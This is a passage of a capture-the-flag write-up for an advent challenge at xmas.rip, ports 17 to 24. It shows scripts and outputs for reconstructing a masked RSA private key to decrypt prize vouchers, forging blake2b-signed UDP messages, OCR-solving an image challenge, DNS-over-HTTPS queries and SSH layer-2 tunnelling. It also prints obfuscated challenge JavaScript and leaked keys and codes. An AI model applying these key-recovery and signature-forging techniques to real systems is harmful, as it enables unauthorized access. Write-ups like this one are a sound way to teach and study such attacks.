We can use this in most commands; but it would be best to use the identical command given on the xmas.rip page; so we convert this extended/reconstructed key to a PKCS#8 file with openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in priv_extended.pem -out priv_extended.pkcs8.pem and (for fun) do a side-by-side comparison of it and the current masked PEM file we've been building:

$ diff -y -W 120 priv_masked.pem priv_extended.pkcs8.pem
-----BEGIN PRIVATE KEY-----                                     -----BEGIN PRIVATE KEY-----
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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   |    gS3sgimI95DYGorXd/hj9tJlPBucjPJHUOe8coxqOVPbFcGLtpt5tdoG
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   |    aUwjfhnnFFJNaBUXJwq+q/5yECwL2LQW5Eser8X8xOVw+RgUGeQbC7m1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   |    6zFRNgHl7I25A4Bb4I49gCf3hEBz6m5agsE5UXiFAoGBAOK1glsYrs3t
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   |    Q8DKUsHqJ+bQ4SowuFLJw8q5BpPVd4wcY4CaGVlNJpFQJ6nBUQs49vY8
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   |    W7zIargzPJgbsKiI/HCmvUPMKmVefBAvya4mx5LYpofLyTtPG4cgXtqY
zQQpFsMZO0D2tw0fl2WrEqS0                                        zQQpFsMZO0D2tw0fl2WrEqS0
-----END PRIVATE KEY-----                                       -----END PRIVATE KEY-----

And we can run the command we were given on the xmas.rip page, verbatim:

$ base64 -D voucher.enc.b64 | openssl rsautl -decrypt -inkey priv_extended.pkcs8.pem
Here is your Amazon voucher, have a nice XMAS!
P2DN-LHFEPM-XRHG

At which point I tried immediately to claim the voucher on my amazon.ca account but got errors. I assumed somebody had beat me to it since, by now, all but the tail of q had been exposed.

I contacted (the very friendly and gracious) @_takeshix ; together we found out that the vouchers are only for the country in which they are issued and this one had been issued in .de. But he created a new gift card at amazon.ca for me! What a nice person!

Port 17

TLS is super nice. It provides so much security for Santa's HTTP ports. But who understands how that Internet PKI, asymmetric cryptography and those stupid certificates work anyway? But wait, the IETF has a solution! RFC5054 is the perfect solution for securing HTTPS servers without having to care about stupid certificates. All of that ridicoulus trust business is just silly. Santa is doing his own thing now. The only thing santa needs is his super secret password... 24122018!

OK, cool. So we need to connect with TLS-SRP. I've already got a container built with bleeding-edge curl and openssl;

docker run -it --entrypoint /usr/bin/curl curl-tls1.3 -vvvv -k --tlsuser santa --tlspassword 24122018 --tlsauthtype SRP https://xmas.rip:17
*   Trying 51.75.68.227...
* TCP_NODELAY set
* Connected to xmas.rip (51.75.68.227) port 17 (#0)
* ALPN, offering http/1.1
* Using TLS-SRP username: santa
* Setting cipher list SRP
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/certs/ca-certificates.crt
  CApath: none
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / SRP-AES-256-CBC-SHA
* ALPN, server accepted to use http/1.1
> GET / HTTP/1.1
> Host: xmas.rip:17
> User-Agent: curl/7.62.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Wed, 19 Dec 2018 14:45:17 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Last-Modified: Mon, 17 Dec 2018 20:15:54 GMT
< ETag: "4fa-57d3d72ad7280"
< Accept-Ranges: bytes
< Content-Length: 1274
<
TLS-SRP is super nice, who needs those stupid certificates anyway?!

.--------.
*               .    |________|        .          *
                     |      __|/\
          *        .-'======\_\o/.
                  /___________<>__\
            ||||||  /  (o) (o)  \
            |||||| |   _  O  _   |          .
  .         |||||| |  (_)   (_)  |
            ||||||  \   '---'   /    *
            \====/   [~~~~~~~~~]
             \\//  _/~||~`|~~~~~\_
             _||-'`/  ||  |      \`'-._       *
     *    .-` )|  ;   ||  |)      ;    '.
         /    `--.|   ||  |       |      `\
        |         \   |||||)      |-,      \         .
         \       .;       _       ; |_,    |
          `'''||` ,\     (_)     /,    `.__/
              ||.`  '.         .'  `.             *
   *          ||       ` ' ' `       \
              ||                      ;
.          *  ||                      |    .
              ||                      |              *
              ||                      |
.__.-""-.__.-"""||                      ;.-"""-.__.-""-.__.
              ||                     /
         jgs  ||'.                 .'
              ||  '-._  _ _  _ _.-'
             `""`


c0eWaQ6RYaAVHYNK6zzRm5QxHI5Y7x8foDxBKx1hlWOKUjUKxVBNBtXc+bNLowqb* Connection #0 to host xmas.rip left intact

2nd Voucher Challenge

Back to trying to steal a voucher from this really nice person grinch smile.

After I sniped the voucher, the organizers, @_takeshix and @lod108 adapted the voucher challenge to a aes-256-cbc based. The winning message was encrypted with an AES-256-CBC key that was derived, using OpenSSL KDF, from 24 bytes taken from the first byte of each of the 24 base64 lines (decoded) revealed in the ports.

They recognized that this would eventually be brute-forceable and were cool with that. But they forgot that the entire PKCS#8 PEM file from which they were revealing lines was predictable. So, taking the same reconstructed private key from the voucher challenge above, I was able to get the AES key 1.

Congratulations, you managed to solve all 24 ports!
The magic winner's secret: Xm4s_iS_sUp3r_mUcCH_FffUn!1
Send this to advent@adversec.com and you will receive the voucher if you are the first one!

3rd Voucher Challenge

After I notified them that I still had a shortcut to their final challenge, they set about the task of changing-out all the vouchers in their containers (sorry guys).

Then (probably seeing me coming from a mile away now) they changed to the challenge to one that isn't even brute-forceable. I guess we'll have to do this the long way.

The key is hidden in the 24 ports, one part per port. Each port will print a 48 byte Base64 encoded strings that have to be decoded and concatenated with all the other 24 strings. The SHA256 sum of all 24 decoded and concatenated strings is the key. Here is an example how to decode the key.

Awesome, this will be fun. Since all of my solutions were scripted, I set about re-running them and got a new collection of tokens for the final challenge.

Port 18

There are so many old protocols that no one uses anymore. But why? Some of those RFC are pretty simple. And easy to implement. And Santa loooves the easy-to-implement stuff!

IANA said the 18th port must be RFC5054, so guess what we have today?! No one needs SMTP, it's way to complicated. Send santa a message, ask him for the secret! But be careful: Santa did something awesome, he implemented signatures even though they are not part of the RFC. And because the RFC does not define the signatures, Santa decided to make them super secure:

def _verify_signature(self, addr, sender, signature): source_ip = addr[0] blake = hashlib.blake2b(digest_size=18) blake.update(source_ip.encode()) blake.update(sender.encode()) blake.update(b'XMAS2018') if blake.hexdigest() == signature: return True else: return False

Let's see if you can send messages with the proper format to santa!

This looks fun. So we need to send a message using some protocol and sign it. The RFC text says 5054 but the link is to 1312 and 5054 is the TLS-SRP one from port 17. So the protocol we need to use to send santa a message is probably RFC1312.

They try to warn us about using non-python3; but I really don't want to deal with the special flavor of garbage that is python3 today, so... random github repo it is! Thank you, https://github.com/buggywhip/blake2_py.

Reading the RFC and the blake2 verification code we're given, I came up with the following message-sending crappy script:

from pwn import *
from pwnlib.exception import PwnlibException
import codecs
import time

from blake2 import BLAKE2b
from requests import get

def get_signature(addr, sender):
    b2 = BLAKE2b(digest_size=18)
    b2.update(addr)
    b2.update(sender)
    b2.update('XMAS2018')
    b2.final()
    return b2.hexdigest()

with context.local(log_level='debug'):
    ip = get('https://api.ipify.org').text
    r = pwnlib.tubes.remote.remote('xmas.rip', 18, typ='udp')

    sender = 'grinch'
    cookie = time.time()
    signature = get_signature(ip, sender)

    r.send('Bsanta\x00console\x00secret_plz\x00%s\x00console\x00%s\x00%s\x00' % (sender, cookie ,signature))

    print r.recv()
    sys.exit(0)

Which did the trick:

[+] Opening connection to xmas.rip on port 18: Done
[DEBUG] Sent 0x5c bytes:
    00000000  42 73 61 6e  74 61 00 63  6f 6e 73 6f  6c 65 00 73  │Bsan│ta·c│onso│le·s│
    00000010  65 63 72 65  74 5f 70 6c  7a 00 67 72  69 6e 63 68  │ecre│t_pl│z·gr│inch│
    00000020  00 63 6f 6e  73 6f 6c 65  00 31 35 34  35 32 33 31  │·con│sole│·154│5231│
    00000030  33 33 31 2e  39 32 00 32  31 36 39 62  33 66 31 36  │331.│92·2│169b│3f16│
    00000040  30 65 64 62  63 63 35 33  30 61 33 37  62 36 62 66  │0edb│cc53│0a37│b6bf│
    00000050  61 32 66 64  33 61 31 34  36 34 62 00               │a2fd│3a14│64b·││
    0000005c
[DEBUG] Received 0x70 bytes:
    '+Message delivered to Santa, have a nice XMAS!\n'
    'f4i055GrzIjgqpE4i2KpNL3nr1EohSGyJDVwLA5EMXHvlV1/K402ERI2XxGstovv\n'
+Message delivered to Santa, have a nice XMAS!
f4i055GrzIjgqpE4i2KpNL3nr1EohSGyJDVwLA5EMXHvlV1/K402ERI2XxGstovv

Port 19

Authentication is very important on the Internet. However, there are so many choices, but none of them are suitable for Christmas. That's why Santa implemented a super secure authentication mechanism with the right Christmas spirit. It's called christmas-response. Instead of a challenge, it sends you visual Christmas candy! In order to access this port your response needs just the right Christmas spirit.

Fun. I found that this one can actually be solved manually with just nc xmas.rip 19 > candy.png. You enter the command, open candy.png in a viewer, read the number in the picture and then return to the console to type the response (number) followed by a new line. But where's the fun (i.e. crappy python) in that? Come on, this far into the cyber advent we need our Obligatory Christmas Ritual?

We're gonna do it with OpenCV and Tesseract to do optical character recognition -- and retries, lots and lots of retries.

import cv2
import numpy as np
import pytesseract

from pwn import *
from pwnlib.exception import PwnlibException

def optical_christmas_recognition(buff):
    nparray = np.asarray(bytearray(buff), dtype=np.uint8)
    image = cv2.imdecode(nparray, 1)
    lower = np.array([254, 254, 254], dtype = "uint8")
    upper = np.array([255, 255, 255], dtype = "uint8")
    mask = cv2.inRange(image, lower, upper)

    rgb_w = cv2.bitwise_and(image, image, mask = mask).astype(np.uint8)
    rgb_w = cv2.cvtColor(rgb_w, cv2.COLOR_RGB2GRAY)
    rgb_w = cv2.bitwise_not(rgb_w)

    text = pytesseract.image_to_string(rgb_w)
    return text

with context.local(log_level='debug'):

    challenge_count = 0
    while True: #sometimes Santa's buckle in the image ruins the OCR
        r = pwnlib.tubes.remote.connect('xmas.rip', 19)
        challenge_count = challenge_count + 1

        buff = r.recvuntil('IEND\xaeB\x60\x82')
        with open('current_candy.png', 'wb') as f:
            f.write(buff)

        reindeer = optical_christmas_recognition(buff)

        r.sendline(reindeer)

        response = r.recvline()
        print response
        if 'You got it!!' in response:
            print r.recvall()
            sys.exit(0)
[...]
    00000510  d7 7a 00 00  00 00 49 45  4e 44 ae 42  60 82        │·z··│··IE│ND·B│`·│
    0000051e
[DEBUG] Sent 0x9 bytes:
    u'22010853\n'
[DEBUG] Received 0xd bytes:
    'You got it!!\n'
You got it!!

[x] Receiving all data
[x] Receiving all data: 0B
[DEBUG] Received 0x41 bytes:
    'dQfXPgFzPumJIjVvrNl86cKDiE97KHuBROn2QUu6YZn0ZClzNV3Pj86uBReQ0jSC\n'
[x] Receiving all data: 65B
[+] Receiving all data: Done (65B)
[*] Closed connection to xmas.rip port 19
dQfXPgFzPumJIjVvrNl86cKDiE97KHuBROn2QUu6YZn0ZClzNV3Pj86uBReQ0jSC

[*] Closed connection to xmas.rip port 19
[*] Closed connection to xmas.rip port 19

Port 20

Security has not been relevant back in the day when a lot of protocols that we still use today have been invented. Especially when it comes to leaking plaintext information in the network. TLS fixed a lot of problems. But TLS won't save you from everyone around knowing where you wanne go. Or maybe it can...? Got issues? Resolve them! Maybe santa.xmas is a good start. However, eventhough everything seems to be encrypted, there is still some important plainTXT, but you have to resolve the xmas fun first!

This appears to be hinting about the plaintext hole in TLS connections: DNS. Let's dig santa.xmas.

some digging

D'oh. It's not a DNS TXT challenge, we're dealing with the cyber advent ports, right? It's DNS over HTTPS. Also there is a picture with tiny text that tells me this D'oh.

I tried curl with DOH support; but it is built for fetching pages based on name resolution, not digging the records returned in name resolution. There is a DOH client in python3. I guess as long as I don't have to write any python3... (I thought to myself).

That didn't pan-out, my python3 setup is broken and virtualenv's aren't fixing it. I looked closer at the RFC and it is very easy to implement; let's just do it with scapy and python requests. Except python requests dies on the server at port 20. D'oh -- let's just do it with curl! We're given two names to resolve santa.xmas and xmas let's just try both:

$ cat creatednsquery.py
from scapy.all import *
import base64
import sys

sys.stdout.write(base64.urlsafe_b64encode(str(DNS(rd=1,qd=DNSQR(qname=sys.argv[1], qtype='TXT')))))

$ cat solve.sh
#!/bin/bash
curl https://xmas.rip:20/dns-query?dns=$(python creatednsquery.py santa.xmas) | hexdump -C
curl https://xmas.rip:20/dns-query?dns=$(python creatednsquery.py xmas) | hexdump -C
+ hexdump -C
++ python creatednsquery.py santa.xmas
+ curl 'https://xmas.rip:20/dns-query?dns=AAABAAABAAAAAAAABXNhbnRhBHhtYXMAABAAAQ=='
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    28  100    28    0     0     59      0 --:--:-- --:--:-- --:--:--    59
00000000  00 00 81 80 00 01 00 00  00 00 00 00 05 73 61 6e  |.............san|
00000010  74 61 04 78 6d 61 73 00  00 10 00 01              |ta.xmas.....|
0000001c
+ hexdump -C
++ python creatednsquery.py xmas
+ curl 'https://xmas.rip:20/dns-query?dns=AAABAAABAAAAAAAABHhtYXMAABAAAQ=='
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   136  100   136    0     0    286      0 --:--:-- --:--:-- --:--:--   286
00000000  00 00 85 80 00 01 00 01  00 00 00 00 04 78 6d 61  |.............xma|
00000010  73 00 00 10 00 01 c0 0c  00 10 00 01 00 00 00 00  |s...............|
00000020  00 66 65 48 61 70 70 79  20 58 4d 41 53 20 32 30  |.feHappy XMAS 20|
00000030  31 38 21 20 48 65 72 65  20 69 73 20 74 68 65 20  |18! Here is the |
00000040  73 65 63 72 65 74 3a 20  4e 57 32 4f 44 42 30 6c  |secret: NW2ODB0l|
00000050  61 49 30 73 79 6f 7a 55  36 58 72 35 67 4a 78 6b  |aI0syozU6Xr5gJxk|
00000060  46 4b 65 6e 5a 2b 66 58  69 4c 71 2f 67 67 41 43  |FKenZ+fXiLq/ggAC|
00000070  4c 57 38 71 5a 49 53 46  68 75 39 43 33 30 46 2b  |LW8qZISFhu9C30F+|
00000080  48 4b 4c 36 58 36 59 34                           |HKL6X6Y4|
00000088

Port 21

Christmas Eve is near so everyone is busy preparing for the big party. That's why a lot of people try to get Christmas presents late so there is a lot of workload on Santa's load balancers. Getting all of those presents out in time is a hard task, Santa has to be quic!

In order to handle the workload, Santa and his crew has to get rid of all the overhead during the initial connection establishments. But they do not want to loose any security characteristics at all. Guess what, IETF is working on something to help Santa delivering those presents quicly!

Turns out that the quic server they selected has some compatibility problems :) After the organizers shared the tip that it was built with quic-go I had more luck. At first I thougt it would be an HTTP/3 (HTTP over QUIC) thing; but just 'netcat' on QUIC was enough:

$ cat echo.go
package main

import (
        "crypto/tls"
        "fmt"
        "io"
        "bufio"

        quic "github.com/lucas-clemente/quic-go"
)

const addr = "xmas.rip:21"

const message = "presents_plz"

func main() {
        err := clientMain()
        if err != nil {
                panic(err)
        }
}

func clientMain() error {
        session, err := quic.DialAddr(addr, &tls.Config{InsecureSkipVerify: true}, nil)
        if err != nil {
                return err
        }

        stream, err := session.OpenStreamSync()
        if err != nil {
                return err
        }

        fmt.Printf("Client: Sending '%s'\n", message)
        _, err = stream.Write([]byte(message))
        if err != nil {
                return err
        }

        scanner := bufio.NewScanner(stream)
        for scanner.Scan() {
                fmt.Println(scanner.Text())
        }

        if err := scanner.Err(); err != nil {
                fmt.Println(err)
        }
        return nil
}

// A wrapper for io.Writer that also logs the message.
type loggingWriter struct{ io.Writer }

func (w loggingWriter) Write(b []byte) (int, error) {
        fmt.Printf("Server: Got '%s'\n", string(b))
        return w.Writer.Write(b)
}

$ cat Dockerfile
FROM golang:1.10-alpine3.8

WORKDIR $GOPATH

RUN apk add bash
RUN apk add git
RUN go get -v github.com/lucas-clemente/quic-go
#RUN cd /go/src/github.com/lucas-clemente/quic-go && git checkout ff1e7c4754c07bf090be92ca32eaca1b21ca201f

RUN go get -v golang.org/x/net/http/httpguts
RUN go get -v golang.org/x/net/http2
RUN go get -v golang.org/x/net/http2/hpack
RUN go get -v golang.org/x/net/idna

WORKDIR /app
COPY main.go main.go
COPY echo.go echo.go
RUN cp /app/main.go /go/src/github.com/lucas-clemente/quic-go/example/client/

WORKDIR /go/src/github.com/lucas-clemente/quic-go/example/client
ENTRYPOINT ["/usr/local/go/bin/go"]
Client: Sending 'presents_plz'
Wow, that was QUIC!

                          |
                        \ ' /
                      -- (*) --
                         >*<
                        >0<@<
                       >>>@<<*
                      >@>*<0<<<
                     >*>>@<<<@<<
                    >@>>0<<<*<<@<
                   >*>>0<<@<<<@<<<
                  >@>>*<<@<>*<<0<*<
    \*/          >0>>*<<@<>0><<*<@<<
___\\U//___     >*>>@><0<<*>>@><*<0<<
|\\ | | \\|    >@>>0<*<0>>@<<0<<<*<@<<
| \\| | _(UU)_ >((*))_>0><*<0><@<<<0<*<
|\ \| || / //||.*.*.*.|>>@<<*<<@>><0<<<
|\\_|_|&&_// ||*.*.*.*|_\\db//_
""""|'.'.'.|~~|.*.*.*|     ____|_
    |'.'.'.|   ^^^^^^|____|>>>>>>|
    ~~~~~~~~         '""""|------'

NW2ODB0laI0syozU6Xr5gJxkFKenZ+fXiLq/ggACLW8qZISFhu9C30F+HKL6X6Y4
NetworkIdleTimeout: No recent network activity.

Port 22

Besides having fun at Christmas, Santa enjoys playing catch with the elves. He loves it so much, that most of the time he is developing special tactics to beat everyone except the Grinch. The Grinch is really bad at it, so Santa came up with an idea.

Santa implemented a new and innovative way of controlling clients that can access the services he runs for the elves. It is super sophisticated and supports multiple protocols. And it runs on multiple ports and it is easy to use. And easy to implement. You just have to follow the scents. Try to connect to those ports, maybe access to the secret will be granted to you. You gotta Catch 'Em All!

This one was interesting; when you poke at the port with netcat, it gives you a triple: protocol = X, port = Y, magic string = Z. The magic strings are all random and short, the ports are all random and high and the protocols are any one of tcp, udp or sctp.

The object of the game appears to be to connect to the directed port using the directed protocol and write the magic string; as soon as you do so the port gives you another triple. Then when you do that, it gives you another triple, and so on.

It was fun to code up a little crappy python dispatch into either tcp, udp or SCTP -- using process spawning socat for the last type.

from pwn import *
from pwnlib.exception import PwnlibException
import time
with context.local(log_level='debug'):
    restart = True
    while True:
        if restart:
            r_out = pwnlib.tubes.remote.connect('xmas.rip', 22)
            restart = False
        challenge = r_out.recvline()
        print challenge
        if not ',' in challenge:
            sys.exit(1)
        protocol_eq, port_eq, magic_eq = challenge.split(',')
        protocol = protocol_eq.split('=')[1].strip()
        port = port_eq.split('=')[1].strip()
        magic = magic_eq.split('=')[1].strip()
        if protocol == 'sctp':
            r_in = pwnlib.tubes.process.process(['/usr/bin/socat', '-', 'SCTP:xmas.rip:%d' % int(port)])
            r_in.sendline(magic)
            r_in.clean_and_log()
            r_in.shutdown()
            r_in.wait_for_close()
            #r_in.close()
        elif protocol == 'tcp':
            r_in = pwnlib.tubes.remote.connect('xmas.rip', int(port))
            r_in.sendline(magic)
            r_in.clean_and_log()
            r_in.shutdown()
            r_in.wait_for_close()
            #r_in.close()
        elif protocol == 'udp':
            r_in = pwnlib.tubes.remote.remote('xmas.rip', int(port), typ='udp')
            r_in.sendline(magic)
            r_in.clean_and_log()
            r_in.shutdown()
            #r_in.wait_for_close()
            r_in.close()
[...]
[DEBUG] Received 0x38 bytes:
    'protocol = sctp, port = 2141, magic string = TNBZ81JBGX\n'
protocol = sctp, port = 2141, magic string = TNBZ81JBGX

[+] Starting local process '/usr/bin/socat' argv=['/usr/bin/socat', '-', 'SCTP:xmas.rip:2141'] : pid 30911
[DEBUG] Sent 0xb bytes:
    'TNBZ81JBGX\n'
[*] Process '/usr/bin/socat' stopped with exit code 0 (pid 30911)
[DEBUG] Received 0x71c bytes:
    '                     *  .  *\n'
    '                   . _\\/ \\/_ .\n'
    '                    \\  \\ /  /             .      .\n'
    '      ..    ..    -==>: X :<==-           _\\/  \\/_\n'
    "      '\\    /'      / _/ \\_ \\              _\\/\\/_\n"
    "        \\\\//       '  /\\ /\\  '         _\\_\\_\\/\\/_/_/_\n"
    "   _.__\\\\\\///__._    *  '  *            / /_/\\/\\_\\ \\\n"
    "    '  ///\\\\\\  '                           _/\\/\\_\n"
    '        //\\\\                               /\\  /\\\n'
    "      ./    \\.             ._    _.       '      '\n"
    "      ''    ''             (_)  (_)                  <> \\  / <>\n"
    '                            .\\::/.                   \\_\\/  \\/_/\n'
    '           .:.          _.=._\\\\//_.=._                  \\\\//\n'
    "      ..   \\o/   ..      '=' //\\\\ '='             _<>_\\_\\<>/_/_<>_\n"
    "      :o|   |   |o:         '/::\\'                 <> / /<>\\ \\ <>\n"
    "       ~ '. ' .' ~         (_)  (_)      _    _       _ //\\\\ _\n"
    "           >O<             '      '     /_/  \\_\\     / /\\  /\\ \\\n"
    "       _ .' . '. _                        \\\\//       <> /  \\ <>\n"
    '      :o|   |   |o:                   /\\_\\\\><//_/\\\n'
    "      ''   /o\\   ''     '.|  |.'      \\/ //><\\\\ \\/\n"
    "           ':'        . ~~\\  /~~ .       _//\\\\_\n"
    '                      _\\_._\\/_._/_      \\_\\  /_/\n'
    "                       / ' /\\ ' \\                   \\o/\n"
    "       o              ' __/  \\__ '              _o/.:|:.\\o_\n"
    "  o    :    o         ' .'|  |'.                  .\\:|:/.\n"
    "    '.\\'/.'                 .                 -=>>::>o<::<<=-\n"
    "    :->@<-:                 :                   _ '/:|:\\' _\n"
    "    .'/.\\'.           '.___/*\\___.'              o\\':|:'/o\n"
    '  o    :    o           \\* \\ / */                   /o\\\n'
    '       o                 >--X--<\n'
    '                        /*_/ \\_*\\\n'
    "                      .'   \\*/   '.\n"
    '                            :\n'
    "                            '\n"
    '4gUZo1SUk08ifYN+GIsmIX1toKGD/vIRtfZtifHBrvCdH6HTfiTYiThT6RM7gHUU'
                     *  .  *

Port 23

The OSI model is important for Santa's Christmas services because it not only defines protocols that can be used in combination with other protocols. There is a lot of fun on many different layers, but for the Internet we are somehow limited to the upper layers. The fun can only start at the transport layer and lower layer protocols are out of scope.

However, remember it's almost Christmas, it's time for some super fantastic Christmas miracles! In order to get today's secret you have to send Santa a DHCP DISCOVER packet. Let's bring layer 2 fun into this! To accomplish this task Santa grants you access to his SSH gateway with his own personal santa account with his super secret santa password. You should plug a ethernet device into this port.

Silly Santa has his own Christmas Interconnection model (CI model) with 9 layers of super duper Christmas fun!!1

I wasn't able to script this one; I tried first to do ssh -o Tunnel=ethernet setup on OSX -- that was doomed to failure. Then I tried sending scapy-crafted DHCP discover frames to an ssh process; ath never amounted to anything. I got a hint that Tunnel=ethernet was the right way to go and started searching for VM or something I could use to make it work. It wouldn't work in docker or in in VPS or in google cloud shell (still no idea).

In the end I executed roughly the following commands on a VM that worked:

$ sudo sshpass -p santa ssh -vvv -p 23 santa@xmas.rip -o StrictHostKeyChecking=no -o Tunnel=ethernet -w 0:0 -N
$ sudo ifconfig tap0 up
$ sudo busybox udhcpc -i tap0

Then looked through the UDP streams in wireshark on tap0 to find this:

Welcome to layer 9! You found the secret: YZde89YuO0gPFXM1sn09OrLrNze+Vl00yN59WVQcsRWcRxOQ4Liaf0mIgrrWrlmv.......

Port 24

Today is the day! We are finally there, Merry XMAS to everyone!!

It's Christmas Eve so you shouldn't spent too much time on your computer. Go and spent time with your family and friends!

Thanks to everyone who participated, Santa is proud of you!

Poking at port 24 with netcat makes it clear this is an HTTPS server; visiting it with a browser shows a crazy page with blinking and animating background. The page has some obfuscated javascript and the execution of this protected code is rendering what looks to the token one char at a time.

        var _0x4132=['GsOdViM8GsO9w6RyDWhLw7cBB0TCs3rDhFBjT8K2VhDDq8OYwqnCmTnDqhEXwrNowr7CmyHDnMOmI8Ovw7fDllwmwp3Co8OZecO3wozCncO2w4PDi1osw67Cs8KgDMOeVw==','wp/Cj8Oaw7YRWA==','wrXDgsOOwojCgsOAwqDCuFVISShjwo0=','GsKgwp85wprChcOzMz0=','wrQ5MWXCjsOAVT0DwobCuA==','wpDCgsOVw6MkRA=='];(function(_0x5bdc54,_0x18862f){var _0x146d72=function(_0xb3d742){while(--_0xb3d742){_0x5bdc54['push'](_0x5bdc54['shift']());}};_0x146d72(++_0x18862f);}(_0x4132,0x18c));var _0xd9e3=function(_0x13941f,_0x413164){_0x13941f=_0x13941f-0x0;var _0x1788b8=_0x4132[_0x13941f];if(_0xd9e3['mYtpaH']===undefined){(function(){var _0x2970a4;try{var _0x1f9634=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x2970a4=_0x1f9634();}catch(_0x54690d){_0x2970a4=window;}var _0x26d97c='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x2970a4['atob']||(_0x2970a4['atob']=function(_0x45094a){var _0x3945b3=String(_0x45094a)['replace'](/=+$/,'');for(var 